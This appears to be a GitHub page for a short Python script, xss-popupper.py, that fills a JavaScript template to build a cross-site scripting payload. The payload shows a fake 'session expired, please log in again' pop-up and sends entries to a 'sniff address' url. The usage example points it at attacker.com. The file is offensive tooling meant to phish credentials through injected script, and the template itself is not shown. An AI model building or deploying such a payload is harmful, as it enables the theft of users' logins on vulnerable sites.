-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathxss-popupper.py
27 lines (20 loc) · 906 Bytes
/
xss-popupper.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import argparse
description = """
python xss-popupper.py --url "http://attacker.com" --title "Log-in for session" --body "Your session has expired. Please log-in again" --time 5000
"""
parser = argparse.ArgumentParser("example", description)
parser.add_argument("--url", help="Write your sniff address url.", required=True)
parser.add_argument("--title", help="Write pop-up's title.", required=True)
parser.add_argument("--body", help="Write pop-up's body.", required=True)
parser.add_argument("--time", help="Write standby time.", required=True)
args = parser.parse_args()
fH = open("template.js", 'r')
template = fH.read()
template = template.replace("{{url}}", args.url)
template = template.replace("{{title}}", args.title)
template = template.replace("{{body}}", args.body)
template = template.replace("{{time}}", args.time)
fH.close()
fH = open("export.js", 'w')
fH.write(template)
fH.close()